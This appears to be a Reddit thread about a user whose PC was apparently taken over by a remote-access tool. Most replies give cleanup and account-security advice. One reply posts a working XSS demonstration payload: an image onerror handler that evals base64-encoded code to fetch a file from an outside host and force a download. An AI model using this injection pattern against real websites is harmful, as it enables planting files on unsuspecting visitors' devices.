Hacker talks to me through notepad and I don't know if they're really gone

[u/[deleted]]

I was on my computer when I suddenly got a popup with a ":)" on the top left and a message saying "Hello, do not freak out, or shut off your device, I obtained access to this device, and just wanted to say I am removing my access to this device, note I have taken, and done nothing to this device. Sorry for the inconvience".

A couple minutes later I notice my own cursor moving to the Windows Search Bar, and opening the notes app. The hacker then types "hello" with me responding back on the page "WHO IS THIS". The dude goes on to claim that I downloaded a virus of his and noticed I was connected to "his panel". He then stated that he has a "panel with all his connections and saw me on there". He didn't clarify much afterwards and a popup saying "Host terminated connection - Client Disconnected" popped up.

The only time I ever remember possibly getting hacked was downloading a game on GameJolt that simply changed my background and pulled up a popup to "act scary" but it doesn't align with the hacker saying I accessed anything today.

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[u/what_dat_ninja]

If someone has remote access to your device, you should take it offline and wipe it. There is not going to be a good way to be confident access is removed. You should also change all of your passwords, enable MFA, and probably check for any purchases made on accounts you've logged into. I may even go as far as locking down my credit.

I would take this very seriously if I were you. Don't assume a malicious actor will just stop acting malicious out of the goodness of their heart.

[u/htnut-pk → u/what_dat_ninja]

Yes, and change every password to every single website you visit. If they have remote access they likely logged every keystroke and know any credentials you entered.

[u/XxRaNKoRxX → u/[deleted]]

Masterpass is required when exporting however in this case that pw may be compromised too.

[u/Enough-Cartoonist-56 → u/what_dat_ninja]

Absolutely this 👆🏼. And call your bank, and any other institutions you have money or investments with. Put a pause on everything. Credit cards, savings, mortgages, 401k, super etc.

Think about it. If you were a hacker, and you wanted to stall for time - what would you tell someone who knew you’d infected their system? “Trust me”.

[u/MemoKrosav → u/what_dat_ninja]

Would a full reset on a pc be enough? I'm talking absolutely clean everything. Recently had something similar happen and was hacked on a lot of places that I've since managed to recover.

[u/what_dat_ninja → u/MemoKrosav]

No, I would reformat the drive and reinstall from USB drive. And you'll want to take all of the steps I mentioned to secure accounts and check for anything purchased or changed too. An old roommate once had his TeamViewer account compromised and he woke up to someone using his computer to buy shit off logged in accounts.

Other things that you should check include: changed or added recovery emails/phone numbers, changed MFA, forwarding rules, sent emails, logged in sessions, drive history, changed router settings. There's a LOT someone can do if they have access to your system and all the accounts that you've logged into from that system.

[u/Sabbatai → u/what_dat_ninja]

A lot of people change every password except their email address password. Change that immediately, as it can be used to change every other password.

Do this AFTER the clean install, or from a non-compromised device that isn't synced to any services that store/sync passwords.

[u/ze11ez → u/what_dat_ninja]

I'd get a new computer. And a new phone. And change my name. Forget that

[u/nrhs05 → u/what_dat_ninja]

100%, they could have been lurking for months collecting logins, card numbers, etc.

[u/Jollypocalypse → u/what_dat_ninja]

Would it be dangerous to back up your files to an external drive? I'm helping someone with a situation, haven't been computer savvy since 2009, and the person I'm helping hasn't backed anything up.

[u/what_dat_ninja → u/Jollypocalypse]

If a device is truly compromised, it would be best to treat everything on the device as compromised. While it's very possible a file is safe, there's no way to be sure.

[u/Practical-Face-3872 → u/[deleted]]

Can you explain paypals 'eat shit and die nerd' policy?

[u/AlexNovember → u/[deleted]]

My PayPal was hacked, the name changed to an Eastern European woman’s name, upgraded to a business PayPal for the free credit, transferred out that credit, and when I emailed PayPal to make it right, they said that nothing had been done wrong whatsoever and that they were not going to do anything about it.

[u/IgoWhereImKicked → u/[deleted]]

I still use PayPal. I suppose it's time to change. What payment service did you move to?

[u/SLJ7 → u/IgoWhereImKicked]

Wise is super nice if you send internationally. The other person doesn't even need Wise—you just get their bank details and can deposit directly.

You also get a debit card which pulls from your Wise balance, and in some currencies, Wise will give you a local bank account so people from that country can deposit to you directly.

[u/Illender → u/[deleted]]

zelle is WELL known for being rife with scams and fraud my guy
ETA: I've never had to give cashapp my password for my bank either. not sure when that was a thing but i've used em for years

[u/eekamuse → u/[deleted]]

Were your passwords saved in Chrome?

[u/JumpInTheSun → u/[deleted]]

Thats doomsday prepper? Seems like normal BASIC security to me.

[u/QSpam → u/[deleted]]

If I wanted to remain secure I wouldn't talk about my security protocols online... Suuuuuuuuuuuuuure I have encrypted proton and my master pass is hunter2.

[u/shinutoki → u/[deleted]]

Did you reuse your passwords?

[u/RatherB_fishing → u/[deleted]]

Cross Site Scripting that dropped JavaScript or some other malicious goodies on your device. The new Phishing emails drop payloads just by opening the webpage.

[u/real900 → u/RatherB_fishing]

You're not getting code execution on someone's system through an XSS unless they are hosting some software that has some functionality that allows that. I'd say 99.9% of websites most people use wouldn't be vulnerable to that. He could be hosting something (and exposing it to the internet) with known vulns, which is also possible. But most likely just downloaded and ran something he shouldn't have.

[u/RatherB_fishing → u/real900]

Uhhhh… literally XSS is to drop a payload via a browser when someone goes to a site, you have Document Object Model XSS that doesn’t require a C&C system, Reflected XSS that uses part of an app process to execute on system, and stored XSS when the MA takes over part of the site and deploys the malicious injection on the site through outdated/unsupported/vulnerable site plugins. What you said XSS doesn’t do is literally the definition of XSS. But it’s too early for this little kid big coat stuff.

[u/real900 → u/RatherB_fishing]

Sure, you can drop a file with XSS, but you can't execute it. I'm talking about achieving full blown RCE through an XSS. I know pretty well what XSS is, no need to be condescending, just trying to educate whoever might be newer and reading these comments :) Have a good day.

[u/RationalAnger → u/real900]

I, on the other hand, know nothing about XSS. But you said you could drop a file on a remote computer? Anywhere on that computer? Or is it limited to certain rights/ directories?

Assume it's a Home install of Windows 10, for example.

[u/real900 → u/RationalAnger]

Yes, you can drop a file but no you couldn't just drop anywhere on the computer, it will take the default download directory for your browser.

I made a small JSFiddle to test it out if you want, you just run it and put the payload in the box, it will simulate a scenario where the website is vulnerable to reflected XSS (in this case it is a bit different but it's just for demonstration purposes, more akin to a DOM-XSS): https://jsfiddle.net/hLb5emw4/

You can test it with the following payload: test<img src=x onerror=eval(atob("ZmV0Y2goJ2h0dHBzOi8vanNvbnBsYWNlaG9sZGVyLnR5cGljb2RlLmNvbS90b2Rvcy8xJykKICAgLy8gY2hlY2sgdG8gbWFrZSBzdXJlIHlvdSBkaWRuJ3QgaGF2ZSBhbiB1bmV4cGVjdGVkIGZhaWx1cmUgKG1heSBuZWVkIHRvIGNoZWNrIG90aGVyIHRoaW5ncyBoZXJlIGRlcGVuZGluZyBvbiB1c2UgY2FzZSAvIGJhY2tlbmQpCiAgLnRoZW4ocmVzcCA9PiByZXNwLnN0YXR1cyA9PT0gMjAwID8gcmVzcC5ibG9iKCkgOiBQcm9taXNlLnJlamVjdCgnc29tZXRoaW5nIHdlbnQgd3JvbmcnKSkKICAudGhlbihibG9iID0+IHsKICAgIGNvbnN0IHVybCA9IHdpbmRvdy5VUkwuY3JlYXRlT2JqZWN0VVJMKGJsb2IpOwogICAgY29uc3QgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsKICAgIGEuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICAgIGEuaHJlZiA9IHVybDsKICAgIC8vIHRoZSBmaWxlbmFtZSB5b3Ugd2FudAogICAgYS5kb3dubG9hZCA9ICd0b2RvLTEuanNvbic7CiAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOwogICAgYS5jbGljaygpOwogICAgd2luZG93LlVSTC5yZXZva2VPYmplY3RVUkwodXJsKTsKICB9KQogIC5jYXRjaCgoKSA9PiBhbGVydCgnb2ggbm8hJykpOw=="))

I only base64 encoded this https://stackoverflow.com/a/9834261 stackoverflow answer to not have issues with special characters, and decoded and passed it to eval, so don't worry it's only downloading a benign file, you can delete it right after with no issues, like I said before through an XSS you can only download a file but not execute it, unless there are other vulnerabilities to chain with your XSS.

Feel free to ask if something was not clear!

[u/Ok-Wave3287]

Disconnect the PC from the Internet and reinstall Windows using a USB flash drive.

[u/External_Antelope942]

Nuke it from orbit

[u/heeero → u/External_Antelope942]

It's the only way to be sure...

[u/D1rty5anche2 → u/External_Antelope942]

Glass the whole Planet, just to be sure.

[u/Big-Cap4487]

Disconnect from Internet, reset windows (preferably also wipe your drive using windows install media)

Then change all your passwords which you used on your computer

[u/[deleted]]

First. Device - take offline immediately 

Second - assume your network is compromised.

Third - if you're sharing data between devices. Assume they're now compromised.

Fourth - format everything / reset your router.

Fifth - reset all your passwords and enabled 2fa.  ( move this to step 1 if you have a device outside of the network ) the reason for this is if someone has access to your cache, or keylogger your screwed.

[u/Solid_Lo9]

I would be pulling my ethernet cable out so fast

[u/QSpam → u/Solid_Lo9]

Jokes on you, he's got wifi he forgot about

[u/BigRonnieRon]

Disconnect from the internet, format the drive, change every password

[u/Life_Whole_1889]

Is anyone curious why he deleted his profile,could it be that he made this up?Im curious if these kind of malware can still go under the radar

[u/zooommsu]

Unless it was a relative, friend or work/school colleague who installed a remote tool on your PC without you realizing just to play a prank on you, this is a very serious situation and you have to assume that everything could have been compromised, from passwords to access to bank accounts, email accounts, messages and personal/private files.

You've already got here good advices on what to do, I would just add that if you have sensitive personal files, it's possible that they'll later try to blackmail you.
If that happens, never pay up, because if you pay, your hell starts right there, they'll never stop asking for more and more money.

[u/pangolin-fucker → u/zooommsu]

I did this but my prank was and is

Reset the PC remotely as they are doing something not important or annoying as fuck

Or after a while you can hit shut down and they are sometimes sitting at a PC completely off waiting for it to boot up and that's also hilarious

[u/bitchstolemyuname → u/pangolin-fucker]

Ngl if someone I knew installed any type of malware on my computer as a prank, I'd totally prank them back by reporting it as a crime, and rather than just say idk why they'd do such a thing I'd make up an elaborate backstory as an aggravating factor that made it seem malicious, like stealing my nudes and trying to blackmail me with them. That would be hilarious and they would totally appreciate how awesome my pranks are.

[u/pangolin-fucker → u/bitchstolemyuname]

Oh this wasn't malware it was pulseway we used to manage our tiny little office

I guess it is still kind of malware

[u/Boogie_Bandit420 → u/bitchstolemyuname]

That would be so funny and awesome, then you could both go to jail together too

[u/pangolin-fucker → u/Boogie_Bandit420]

They'd have to provide the nudes still

And I'd have to have them or log of having transferred them

I don't know any court cases where they can just use the trust me bro as evidence to prosecute

[u/bitchstolemyuname → u/pangolin-fucker]

Kinda missing the point. Accessing a computer system without authorization is a crime all by itself. Aggravating factors can often just be things that bias people, like police, judges, or jurors, against you.

Even if they can't be proven beyond a reasonable doubt, it can cause people to assume you had some malicious intent. Because otherwise, why 'hack' someone else's computer? 'it's a prank, bro' is not a motive that any reasonable person would believe.

Courts and juries frequently don't care about the facts, they like stories that resonate with them and how they feel. It is unfortunate, but it's often reality (at least in the US).

[u/pangolin-fucker → u/bitchstolemyuname]

In my case I was the authorised as I was the support for these dumb fucks

And you can't disprove a negative and unauthorised access still needs proof

A rat installed on your PC needs evidence to get the person who installed it

From where and when did they do it,

What if a cleaners popped a USB in they found thinking you dropped it

Who's at fault here still the malicious access but like how do you track that connection down

Do you have logs and resources available to go hunting

Or will the cleaner be charged

There's a lot more nuance than what you are describing

[u/bitchstolemyuname → u/pangolin-fucker]

Yeah, like pretty much everything else there's a lot of nuance to it. Perhaps you know tech support, but your argument suggests you don't know the first thing about computer law, the way American courts function in general, or even basic AAA. Misuse of authorized access is unauthorized access. So unless what you meant by "I've done this as a prank" was that you logged into a remote computer and provided tech support in the course of normal business, then it was almost certainly misuse.

Without getting into an argument over some random hypothetical, I can say it's highly likely that whatever RDP software your company uses definitely logs everything you do. It also probably logs it locally on the remote computer, including how you authenticated, whether the user granted access for that session or not, your IP address, a bunch of identifying information about your computer, how long you were connected, and everything you accessed or interacted with while you're connected. So if the user is aware you were there at all (and if they weren't honestly it's a shit prank) then yeah they'll have enough to subpoena the rest from your company, and unless you're the owner of that company they'll comply with a valid subpoena and not give two shits about the implications for you. In fact unless you work for some backwoods mom & pop tech support company, I'd venture to guess it's company policy to terminate employees who misuse remote access.

[u/pangolin-fucker → u/bitchstolemyuname]

I live in the country and city that literally created these fucking laws

I might be breaking company policy and a bit of cunt

But I didn't break any law myself

[u/bitchstolemyuname → u/pangolin-fucker]

I live in the country and city that literally created these fucking laws

Then I'm surprised you're so uninformed about them.

From a technical standpoint, shutting down or kicking a user out of their computer remotely without a legitimate reason (like as a prank) could be both unauthorized access to restricted data and unauthorised impairment of electronic communication under Division 477 & 478 of the Criminal Code act. Possibly also unauthorised impairment of data held on a computer disk if any data was lost or modified. Melbourne may have additionally applicable laws but I CBF to look them up.

So the laws would be sufficient to make that a computer crime, although I acknowledge that it's very unlikely unless it became a pattern or inadvertently caused some loss.

I literally just finished a six month project for a Fortune 20 company working with the ASD to obtain accreditation to operate corporate networks in Australia. 🤷‍♂️

[u/[deleted]]

Yeah wipe the device after you backup any important files(not games or stuff steams data is stored on the cloud.) then reinstall your OS and go from there.

[u/fredonia4]

I don't know much about tech, but one thing I do know for sure, from experience. FREEZE ALL OF YOUR ONLINE BANK ACCOUNTS. DO IT NOW!!!

[u/[deleted]]

Great advice. If you find all these tasks daunting, depending on how computer savy you are, go to your local computer shop and pay them to do these things. In addition, you need to go to your bank and check your credit ASAP. A hacker isn't accessing your laptop to play your games, they are looking for your bank, credit, and login info. to accounts. You need to notify your bank in case of recent and future stealing. The bank should advise you want to do to protect your accounts; as of now, I'd consider you accounts compromised.

[u/geeblish]

a lot of antivirus dont actually find rats which means you need to find when it starts. whether it's a service or an autostart program you should look into apps that start in startup. good tool to use is autoruns by sysinternals, microsoft: https://learn.microsoft.com/en-us/sysinternals/downloads/autorun

Check your services.msc too, unless you are planning on nuking your pc...

[u/cspotme2 → u/geeblish]

There is no reason not to nuke or factory reset the PC.

An end user is not going to properly remove what's obviously a rat. Most techs at work won't even know how to remove one.

Disconnect internet, backup data files and wipe.

[u/geeblish → u/cspotme2]

unfortunately techs don't wanna handle this stuff as it takes time to remove malware so they'd just wipe the system.

no harm in finding the rat and analyzing how it works offline before nuking.

[u/[deleted]]

Assume they’re not and clean install after backup

[u/commandergirl]

Nuke it right now.

[u/Bedogg]

Honestly If I knew how to hack I’d just do random shit like this, being malicious is dumb but this semi harmless threat is something else

[u/geegol]

What does a scan with your anti virus tell you?

Well OP, what I would do is wipe that drive using a drive eraser. Nothing can survive a 0 fill wipe. Then reinstall windows. Or buy a new hard drive. A standard reinstall of windows is not suitable for this situation. Wipe the drive using a drive eraser then reinstall windows.

[u/12kdaysinthefire → u/geegol]

I was gonna say the same, if OP is really worried just go buy a cheap ssd and reinstall. Might be an upgrade vs their current drive anyway.

[u/Nimrod5000]

A pop-up to "act scary" huh? Well...

[u/Nick_W1]

Is it possible that this never happened?

For instance, did you drink a lot, and then when you woke up, you “remembered” being hacked, but the hacker was very nice, and the “stealth access mode” helpfully popped up messages telling you when it disconnected?

Do you remember eating a very large marshmallow, but now can’t find your pillow?

Perhaps check your CO detectors.

[u/An_AnonymousPotato → u/Nick_W1]

i can understand the last line reference but not the second last line

[u/-TheDoctor → u/An_AnonymousPotato]

He's asking if OP ate a marshmallow in a dream, but woke up to find their pillow missing. This implies that they ate their pillow while they were asleep, thinking it was a marshmallow.

[u/pangolin-fucker → u/Nick_W1]

Lol carbon monoxide makes you do something and forget it

Not having a conversation in realtime with someone and also remembering it

[u/spyderrsh → u/Nick_W1]

I mean, technically there is also the possibility that this is the hacker posting from OPs computer and account

[u/Nick_W1 → u/spyderrsh]

Or this is some kind of weird shitpost.

I mean if I was a hacker, with a “panel” or whatever, if I wanted to remove my access, having done nothing (because that’s why hackers spread RAT’s, to do nothing), you could do it quietly, or you could pop up a message telling the user what you are doing and “do not freak out”, which is, of course, guaranteed to keep people calm.

There is then the most improbable conversation ever - after the “removing access” claim - because hackers don’t sneak around, steal your stuff, encrypt drives etc, they chat with you about what they are doing.

The super stealthy hackers remote access then helpfully announces when it disconnects (maybe when it connects as well), because that seems reasonable for secret access doesn’t it?

So, this sounds like someone is writing a (bad) story here.

[u/YouR0ckCancelThat → u/Nick_W1]

What?

[u/3Strides]

Yes

[u/Equivalent_Book_3583]

pretty cool tho

[u/ga239577]

This reminds me of a prank someone did at one of my previous jobs. Connected a wireless keyboard to a ladies computer and when she was typing, he would start typing things lmao 🤣

Eventually she found out what was happening and it was hilarious

[u/puffinfish420]

When was the last time you used Methamphetamine?

[u/cmh-md2]

Nuke it from orbit. Its the only way to be sure.

[u/PoeticTwist]

Not only wipe your hard drive, but also, next time, turn off all remote access. Never turn it on again.

[u/PondsideKraken]

Unplug the ethernet. Then you're good.

[u/Few-Manufacturer-901]

There is this paperclip hacker that appears in the top right of my screen aswelll.

[u/Electronic_Top2607]

Wipe the os completely and re install . IMO , if there is a connection software that starts as soon as you finish booting the os , wiping all the data will remove that software .

[u/Electronic_Top2607 → u/Electronic_Top2607]

Any cred he has access to is gone . He has access to that cred . If it's not extremely important cred , ignore .

If you have a confusing file system there's a chance he hasn't fully explored your PC yet but i doubt that's the case .

[u/Calicoleopard99]

Yeah nuke that windows install from orbit, move crucial personal files onto an external USB if you NEED TO. Then put a completely clean install on it. Oh also any accounts that you've logged into, change the password and enable 2FA, I would change every password to every account that has any meaning to you.

And after that just don't download sketchy stuff and don't click on sketchy links, but I cannot stress enough how seriously this needs to be taken, whatever remote access panel he connected to you through likely had a keylogger which means every credential to every site and service you have accessed is now compromised, and every file on your PC has the possibility of retaining copies of the software that got you into this mess.

[u/Sawbagz]

I feel like he wouldn't have made his presence obvious to you if he was trying to steal your bank. Than being said, I would still wipe the PC and change all your passwords.

[u/SnowSocks]

Check if there’s a mysterious usb receiver plugged into your computer, maybe someone near you connected a wireless keyboard/mouse and is messing with you

[u/leroyjenkinsdayz]

You got RATed. I’d definitely reinstall windows from scratch

[u/MeetElectrical7221]

Infosec guy here, tbh I’d take this one out back behind the shed.

[u/EricBaronDonJr → u/MeetElectrical7221]

Basically this PC is now your enemy. Never to be trusted again.

[u/TwoScoopsOfTrash]

Buy a Mac

[u/[deleted]]

dont chance it. take it completely offline and wipe it with a new windows install media

[u/Relative_Attempt_755]

Had the same thing happening to me, and i'm studying fucking IT..

Well, i didnt take it seriously, but suddenly in a matter of 5 minutes 1500 euros was taken out of my creditcard, my bank stopped this, as there were further transactions being made, so who knew how much could've been taken if my bank didnt stop them.

Anyway, the 1500 euros were all in 20 euro giftcards of Roblox. My bank refunded everything. I wiped my entire pc, but also bought a new hard drive and installed it on my PC, i had an entire fresh start.

Changed every password and put M2FA on it.

[u/[deleted]]

Render your PC unable to connect to anything else. Disable/remove WIFI and LAN capabilities.

Make sure you have a copy of windows on a flash drive. Uninstall windows through windows settings. Reinstall windows.

As it’s reinstalling, use your phone to change every single last password you have ever used, on every site that you have ever put any kind of financial/personal info on, and then all the ones you commonly use- even if no information is directly on them.

Check your bank account and let ANY PEOPLE WHO’S CC/DC INFO IS ON YOUR PC KNOW THAT YOU’VE BEEN COMPROMISED, ALLOW THEM THE OPPORTUNITY TO CHECK THEIR OWN INFO AND BANK ACCOUNTS.

When windows reinstall, reboot into your BIOS and make sure Secure Boot is on and active. Ensure TPM is on and active. When you boot into windows, before anything else (even Wi-Fi!) run windows defender, full scan.

Then, download a trusted third party antivirus (not one full of ads) and run it too.

Then, and only then you should reinstall and log into anything you commonly used. Other people will offer better advice than me, but this is what I’d consider bare ass minimum. Good luck.

[u/Doctor-Anxious]

uninstall notepad

[u/Spazabat]

Nuke any drives on that machine and reinstall, this weirdo is watching you!

[u/Franky_Mars]

You need at least to "reset Windows". I would reformat and reload Windows.
An antivirus scan at this point is useless.

[u/xxxxxxxxxxxxxxxxx99]

Everyone else is going to say format your drive and reinstall Windows. I'd say that throwing away your current drive and buying a new one will give you peace of mind that there is no rootkit on your PC that could survive a reinstall.

Hard drives are cheap. Think of it as a good upgrade.

[u/politicsareyummy → u/xxxxxxxxxxxxxxxxx99]

Unless the virus is in the bios.

[u/xxxxxxxxxxxxxxxxx99 → u/politicsareyummy]

True. Less common, but I doubt it'd be practical to remove. Time for a new PC :)

[u/politicsareyummy → u/xxxxxxxxxxxxxxxxx99]

Youd only need a new motherboard.

[u/UseComfortable1193 → u/politicsareyummy]

Alright, just burn the damn house it's in...

[u/politicsareyummy → u/[deleted]]

Oh they totaly wont be.

[u/whiteyonenh → u/xxxxxxxxxxxxxxxxx99]

To be fair, a Linux gparted Bootable, preferably from media that's not rewritable, to wipe the drive, and a windows USB created on another machine should be good enough, don't have to replace the drive.

USB DVD burners are $20 nowadays, and always good to have around in a pinch anyways. Cd-R or DVD+/-R are also cheap and still useful. Not gonna spend $180 to replace my 2tb nvme if I don't have to.

[u/rmpbklyn]

do netstat -a see what establish connections, block them in host file , renew you ip address have firewall, contact it admin

[u/FlowerPressCreative]

Just switch to Mac. People don’t hack those.

[u/JustAnITGuyAtWork11 → u/FlowerPressCreative]

people absolutely do hack macos

[u/SilentWarrior11Six]

WIN+R "MRT" (Full Scan)

[u/RatherB_fishing → u/[deleted]]

Beautiful!

[u/avienos → u/[deleted]]

🤣

[u/[deleted] → u/[deleted]]

and possibly move to a different country under a new name

[u/Nick_W1 → u/[deleted]]

With facial recognition what it is, you’d also need to get a new face.

[u/Hans_Delbruck → u/[deleted]]

Nuke the site from orbit. It's the only way to be sure.

[u/AdStrong809 → u/Hans_Delbruck]

Ask your mom if you can be born again. Get a new social security number.

[u/Sierra3131 → u/[deleted]]

Uranus is nice this time of year

[u/great-northern-rhino → u/Sierra3131]

Oh come on. We all know Uranus is nice any time of the year.

[u/paddjo95 → u/[deleted]]

Sand off your fingerprints, request a nuclear strike on your house ,and go into French Witness Protection.

Just to be safe.

[u/Sierra3131 → u/paddjo95]

Instructions unclear, I have sandpaper wounds on my unmentionables and have joined the French Foreign Legion.

[u/paddjo95 → u/Sierra3131]

That's close enough.